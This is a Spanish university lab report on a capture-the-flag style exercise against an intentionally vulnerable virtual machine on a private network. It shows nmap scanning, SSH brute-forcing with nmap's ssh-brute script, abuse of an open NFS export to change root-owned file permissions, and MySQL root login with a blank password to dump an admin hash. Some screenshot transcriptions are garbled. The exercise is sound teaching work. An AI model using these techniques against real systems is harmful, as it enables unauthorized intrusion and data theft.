

CIBERSEGURIDAD

Práctica 2: Escaneo de red

13/04/2023

Pedro Sánchez de la Muela Garzón

Laura de Paz Carbajo

Introducción

En esta práctica se aborda uno de los aspectos fundamentales de la ciberseguridad: la detección de vulnerabilidades. Para ello, se utilizará una herramienta ampliamente utilizada en el ámbito de la seguridad informática: Nmap. Esta herramienta permite realizar un escaneo de puertos y descubrir información detallada sobre los servicios y aplicaciones que se ejecutan en un sistema.

El objetivo del proyecto es aplicar los conocimientos adquiridos en la asignatura de ciberseguridad para extraer información de una máquina virtual y, posteriormente, llevar a cabo un ataque para comprometer la seguridad del sistema. Este ejercicio nos permitirá poner en práctica técnicas de hacking ético y aprender a utilizar herramientas como Nmap de forma efectiva para detectar y explotar vulnerabilidades. Al mismo tiempo, se fomentará la conciencia sobre la importancia de la seguridad en los sistemas informáticos y se desarrollarán habilidades para protegerlos.

Cuestiones

Cuestión 1

Averiguad la dirección IP que tiene la máquina MetaExp.

Sabemos que la IP de la máquina MetaExp está en el rango 10.0.2.0/24 porque así es como hemos creado la red NAT y a la que hemos conectado ambas máquinas. De todas formas comprobamos que este es el rango correcto con el siguiente comando:

```
ip -4 r
```

A continuación, procedemos a realizar un mapeo de la red con nmap. Por el momento solo estamos buscando qué máquinas están conectadas a la red por lo que no es necesario pasar a nmap ningún parámetro específico. Realizamos el escaneo con el siguiente comando:

```
nmap 10.0.2.0/24
```

Utilizando *nmap 10.0.2.0/24*, dirección ip que hemos obtenido con *ip -4 r*, hemos averiguado que la dirección de MetaExp es **10.0.2.6**.

```
kali@kali: ~
File Actions Edit View Help
Nmap scan report for 10.0.2.5
Host is up (0.0016s latency).
All 1000 scanned ports on 10.0.2.5 are closed

Nmap scan report for 10.0.2.6
Host is up (0.0070s latency).
Not shown: 978 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
```

Como resultado, nmap nos muestra aquellas IPs del rango especificado en las que los hosts se encuentran activos. Entre las IPs que nos muestra el escaneo sabemos que la que corresponde a la máquina MetaExp es la 10.0.2.6 ya que es la única que tiene puertos abiertos a parte de la propia IP de la máquina Kali.

De ahora en adelante cuando realicemos un escaneo con nmap sólo indicaremos la IP de MetaExp, en lugar de todo el rango de IPs.

Cuestión 2

Identificad qué puertos TCP están abiertos en la máquina MetaExp .

El comando usado en la cuestión anterior nos muestra también todos los puertos TCP abiertos para cada IP, tal y como se muestra en la siguiente captura de pantalla:

```
Nmap scan report for 10.0.2.6
Host is up (0.00082s latency).
Not shown: 978 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:9E:D1:A0 (Oracle VirtualBox virtual NIC)
```

Cuestión 3

Señalad cuáles de los puertos UDP más frecuentes están abiertos en la máquina MetaExp.

Para indicar a nmap que queremos que escanee los puertos UDP usaremos -sU, de la siguiente manera:

```
nmap -sU 10.0.2.6
```

Y obtenemos el siguiente resultado:

```
kali㉿kali:~$ sudo nmap -sU 10.0.2.6
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-12 13:33 UTC
Nmap scan report for 10.0.2.6
Host is up (0.0030s latency).
Not shown: 993 closed ports
PORT      STATE      SERVICE
53/udp    open       domain
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
111/udp   open       rpcbind
137/udp   open       netbios-ns
138/udp   open|filtered netbios-dgm
2049/udp  open       nfs
MAC Address: 08:00:27:9E:D1:A0 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1083.20 seconds
```

Cuestión 4

Indicad la versión de los servicios ejecutándose en los siguientes puertos 22 TCP, 23 TCP, 80 TCP, 2049 UDP, 5432 TCP y 3306 TCP.

Para descubrir qué servicios y versiones está usando la máquina usamos -sV y para indicarle los puertos que queremos escanear usamos -p, seguido de un listado de puertos.

```
nmap -sV -p 22,23,80,2049,5432,3306 10.0.2.6
```

Este es el resultado obtenido, donde se muestra el puerto y si está abierto, el servicio que ejecuta y su versión.

```
kali㉿kali:~$ nmap -sV -p 22,23,80,2049,5432,3306 10.0.2.6
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-16 16:16 UTC
Nmap scan report for 10.0.2.6
Host is up (0.0025s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
2049/tcp   open  nfs          2-4 (RPC #100003)
3306/tcp   open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp   open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Cuestión 5

Averiguad la versión del SO instalado en la máquina MetaExp.

Con el comando nmap -o 10.0.2.6 averiguamos que el sistema operativo de la máquina es Linux, de versión 2.6.9 a 2.6.33.

Según la documentación de nmap, en algunos casos no es posible encontrar la versión exacta del SO, pero nmap proporciona un rango de las versiones que puedan estar instaladas en el sistema escaneado.

```
MAC Address: 08:00:27:9E:D1:A0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
```

Cuestión 6

Iniciad sesión en MetaExp a través de SSH.

Para iniciar sesión en MexaExp a través de SSH necesitamos conocer las credenciales (usuario y contraseña) para acceder a esa máquina. Como la máquina tiene el puerto 22 (SSH) abierto, realizamos un ataque de fuerza bruta para averiguar dichas credenciales, usando el script ssh-brute que proporciona la herramienta nmap.

Utilizamos el siguiente comando en el que indicamos que queremos realizar el ataque contra el puerto 22 (ssh) con -p 22. Le indicamos también que pare de ejecutar el ataque cuando encuentre un par de credenciales válidas con brute.firstonly=true. Por defecto, al no pasarle los argumentos userdb y passdb, el script utiliza los siguientes listados de usuarios y contraseñas:

- usuarios: /usr/share/nmap/nselib/data/usernames.lst
- contraseñas: /usr/share/nmap/nselib/data/passwords.lst

```
kali:kali:~$ nmap -p 22 --script ssh-brute --script-args brute.firstonly=true 10.0.2.6
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-03 13:12 UTC
NSE: [ssh-brute] Trying username/password pair: root:root
NSE: [ssh-brute] Trying username/password pair: admin:admin 4c3bd36c032e72 | created | avatarName
NSE: [ssh-brute] Trying username/password pair: administrator:administrator | NULL | NULL
NSE: [ssh-brute] Trying username/password pair: webadmin:webadmin
NSE: [ssh-brute] Trying username/password pair: sysadmin:sysadmin
NSE: [ssh-brute] Trying username/password pair: netadmin:netadmin
NSE: [ssh-brute] Trying username/password pair: guest:guest
NSE: [ssh-brute] Trying username/password pair: user:user
NSE: [ssh-brute] Trying username/password pair: web:web
NSE: [ssh-brute] Trying username/password pair: test:test
Nmap scan report for 10.0.2.6 (10.0.2.6)
Host is up (0.0013s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
| ssh-brute:
|   Accounts:
|     user:user - Valid credentials
|_  Statistics: Performed 10 guesses in 4 seconds, average tps: 2.5

Nmap done: 1 IP address (1 host up) scanned in 4.76 seconds
```

Las credenciales que nos proporcionan acceso a la máquina MetaExp son:

- Usuario: user
- Contraseña: user

Comprobamos que, efectivamente nos podemos conectar a MetaExp por medio de SSH con las credenciales:

```
ssh user@10.0.2.6
```

y contraseña user :

```

kali㉿kali:~/Desktop$ ssh user@10.0.2.6
The authenticity of host '10.0.2.6 (10.0.2.6)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.2.6' (RSA) to the list of known hosts.
user@10.0.2.6's password:
Linux ui11 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Mon Apr  3 04:20:22 2023 from 10.0.2.5
user@ui11:~$ ls
flag1.txt

```

Capturad la bandera “flag1.txt” e indicad su valor. ¿Qué permisos tiene “flag1.txt”?

Veamos el contenido de “flag1.txt” y sus permisos:

```

kali㉿kali:~/Desktop$ ssh user@10.0.2.6
The authenticity of host '10.0.2.6 (10.0.2.6)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.2.6' (RSA) to the list of known hosts.
user@10.0.2.6's password:
Linux ui11 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Mon Apr  3 04:20:22 2023 from 10.0.2.5
user@ui11:~$ ls
flag1.txt
user@ui11:~$ cat flag1.txt
The first flag is:
Winter is comming
user@ui11:~$ ls /l
ls: cannot access /l: No such file or directory
user@ui11:~$ ls -l
total 4
-rw-r--r-- 1 root root 68 2020-09-17 13:53 flag1.txt
user@ui11:~$ █

```

Los permisos `-rw-r--r--` significa que el archivo tiene permisos de lectura y escritura para el propietario, permisos de lectura para el grupo y permisos de lectura para todos los demás usuarios.

Cambiad los permisos. Describid el proceso que habéis seguido para conseguirlo.

Con `chmod` no podemos cambiar los permisos porque el usuario `user` no tiene los permisos necesarios para hacerlo.

En la cuestión número 4 hemos visto que el puerto 2049 (nfs) de MetaExp está abierto por lo que podemos hacer uso del protocolo NFS desde la máquina kali para modificar los permisos.

Para ello realizamos una “copia” de los archivos de MetaExp:

1. Montamos un recurso compartido por NFS entre MetaExp y Kali con los archivos de MetaExp.
2. Comprobamos que tenemos acceso al archivo “flag1.txt” desde Kali.
3. Modificamos los permisos del archivo desde Kali.

```
kali@kali:~$ mkdir /tmp/metaexp_mnt
kali@kali:~$ sudo mount -t nfs -o nolock 10.0.2.6:/ /tmp/metaexp_mnt/
kali@kali:~$ cd /tmp/metaexp_mnt/home/user/
kali@kali:/tmp/metaexp_mnt/home/user$ ls -l
total 4
-rw-r--r-- 1 root root 68 Sep 17 2020 flag1.txt
kali@kali:/tmp/metaexp_mnt/home/user$ sudo chmod 777 flag1.txt
kali@kali:/tmp/metaexp_mnt/home/user$ ls -l
total 4
-rwxrwxrwx 1 root root 68 Sep 17 2020 flag1.txt
kali@kali:/tmp/metaexp_mnt/home/user$
```

4. Comprobamos que en MetaExp también se han cambiado los permisos.

```
kali@kali:~$ ssh user@10.0.2.6
user@10.0.2.6's password:
Linux ui11 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Sat Apr  8 10:43:47 2023 from 10.0.2.5
user@ui11:~$ ls -l
total 4
-rw-r--r-- 1 root root 68 2020-09-17 13:53 flag1.txt
user@ui11:~$ ls -l
total 4
-rwxrwxrwx 1 root root 68 2020-09-17 13:53 flag1.txt
user@ui11:~$
```

Cuestión 7

Conectaros al servidor MySQL de la máquina MetaExp. Acceded a la base de datos con nombre “tikiwiki” y obtened el hash del usuario “admin”. ¿Qué otras bases de datos existen dentro de MySQL?

El puerto 3306 correspondiente a MySQL está abierto en MetaExp. Una vez conectados a esta máquina por SSH, tratamos de conectarnos a MySQL con el usuario y contraseñas por defecto de este servicio:

- usuario: root
- contraseña: (en blanco)

Estas credenciales nos permiten entrar en MySQL por lo que no es necesario ningún ataque adicional contra este servicio.

Vemos qué bases de datos existen dentro de MySQL en esta máquina:

```
user@ui11:~$ mysql -uroot -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 16
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
+-----+
| Database |
+-----+
| information_schema |
| dvwa |
| metasploit |
| mysql |
| owasp10 |
| tikiwiki |
| tikiwiki195 |
+-----+
7 rows in set (0.00 sec)

mysql> █
```

Nos conectamos a la base de datos *tikiwiki* y vemos sus tablas (no se muestran todas en la captura porque tiene muchas):

```

mysql> show databases;
+-----+
| Database |
+-----+
| information_schema |
| dwva |
| metasploit |
| mysql |
| owasp10 |
| tikiwiki |
| tikiwiki195 |
+-----+
7 rows in set (0.00 sec)

mysql> use tikiwiki;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----+
| Tables_in_tikiwiki |
+-----+
| galaxia_activities |
| galaxia_activity_roles |
| galaxia_instance_activities |
| galaxia_instance_comments |
| galaxia_instances |
| galaxia_processes |
| galaxia_roles |
| galaxia_transitions |
+-----+

```

Para obtener el hash del usuario *admin* vemos el contenido de varias tablas donde creemos que podemos encontrar esta información:

1. Vemos el contenido de la tabla *tiki_users* pero está vacía.
2. Vemos el contenido de la tabla *users_users* y encontramos el usuario *admin*.

```

mysql> SELECT * FROM tiki_users;
Empty set (0.00 sec)

mysql> SELECT * FROM users_users;
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
|   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   | | | | |
| userId | email | login | password | provpass | default_group | lastLogin | currentLogin | regis- | challenge | pass_due | hash | created | avatarName | avatarSize | avatarFileType | avatarData | avatarLibName | avatarType | score | valid | 
|   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 1 | admin | admin | NULL | f6fdffe48c908deb0f4c3bd36c032e72 | 0 | NULL | NULL | | | | | | | | | |
|   | NULL | NULL |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
|   | NULL | NULL |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
1 row in set (0.00 sec)

mysql> ■

```

Para leerlo mejor se copia el resultado en un txt y sale lo siguiente, donde podemos ver claramente el valor del hash del usuario *admin*.

*/home/kali/Desktop/New Empty File - Mousepad
user@ui11: ~

userId	email	login	password	provpass	default_group	lastLogin	currentLogin	register
1		admin	admin	NULL	NULL	NULL	NULL	

*/home/kali/Desktop/New Empty File - Mousepad

registrationDate	challenge	pass_due	hash	created	avatarName
NULL	NULL	NULL	f6fdffe48c908deb0f4c3bd36c032e72	NULL	NULL

Cuestión 8

Explicad la importancia que tienen los puntos 5, 6 y 7 desde el punto de vista de un atacante. ¿Cuál podría ser el paso siguiente?

En primer lugar, saber el sistema operativo de la máquina objetivo le da al atacante pistas sobre posibles métodos de acceso a dicha máquina, ya que conociendo el SO y su versión, puede buscar exploits, puntos débiles, backdoors, etc. para acceder a ella. Una vez dentro de la máquina lograr obtener permiso para modificar archivos puede ser muy útil si no sólo se quiere extraer información, sino también encriptarla o incluso eliminarla. Tras esto, lograr acceder a las bases de datos que puedan encontrarse alojadas en el objetivo es de gran valor, ya que podrían contener información valiosa de la que el atacante podría sacar provecho.

Desde el punto de vista del atacante, el paso siguiente ahora que tiene control sobre la máquina y su información será expandirse a otras máquinas en la misma red para obtener más información, y buscar algún método de sacar rédito a dicha información y control sobre las máquinas, este método será distinto según el sistema atacado, aunque el más típico es la extorsión, caben otros como aprovechar el control sobre la máquina para manipular los sistemas que ésta controle.

Tabla de comandos utilizados

Cuestión	Comandos utilizados
1	ip -4 r nmap 10.0.2.0/24
2	nmap 10.0.2.0/24
3	nmap -sU 10.0.2.6
4	nmap -sV -p 22,2,3,80,2049,5432,3306 10.0.2.6
5	nmap -o 10.0.2.6
6	nmap -p 22 --script ssh-brute --script-args brute.firstonly=true 10.0.2.6 ssh user@10.0.2.6 cat flag1.txt
7	mkdir /tmp/metaxp_mnt sudo mount -t nfs -o nolock 10.0.2.6:/ /tmp/metaexp_mnt sudo chmod 777 flag1.txt ls -l
7	mysql -uroot -p show databases; use tikiwiki; select * from tiki_users; select * from users_users;

Conclusiones

En esta práctica se ha hecho uso de la herramienta Nmap para la detección de vulnerabilidades en un sistema informático. Se ha utilizado esta herramienta para realizar un escaneo de puertos y obtener información detallada sobre los servicios y aplicaciones que se ejecutan en una máquina virtual.

Además, se ha llevado a cabo un ataque por fuerza bruta y se han utilizado claves predeterminadas para acceder al servidor MySQL de la máquina atacada. A través de estas técnicas de hacking ético, se ha logrado obtener la información que se pedía, demostrando la vulnerabilidad del sistema.

Este proyecto nos ha permitido poner en práctica nuestros conocimientos y habilidades en ciberseguridad, comprendiendo la importancia de detectar y corregir vulnerabilidades para prevenir posibles ataques malintencionados. Asimismo, se ha enfatizado la necesidad de tener contraseñas seguras y evitar utilizar claves predeterminadas, como una medida efectiva para proteger los sistemas informáticos.

En conclusión, este proyecto ha resultado una experiencia enriquecedora para los estudiantes, quienes hemos aprendido a utilizar herramientas de ciberseguridad como Nmap y a aplicar técnicas de hacking ético para la detección de vulnerabilidades y la protección de sistemas informáticos. La experiencia de lograr obtener información mediante un ataque por fuerza bruta y el uso de claves predeterminadas, ha demostrado la vulnerabilidad de sistemas informáticos que no estén adecuadamente protegidos.

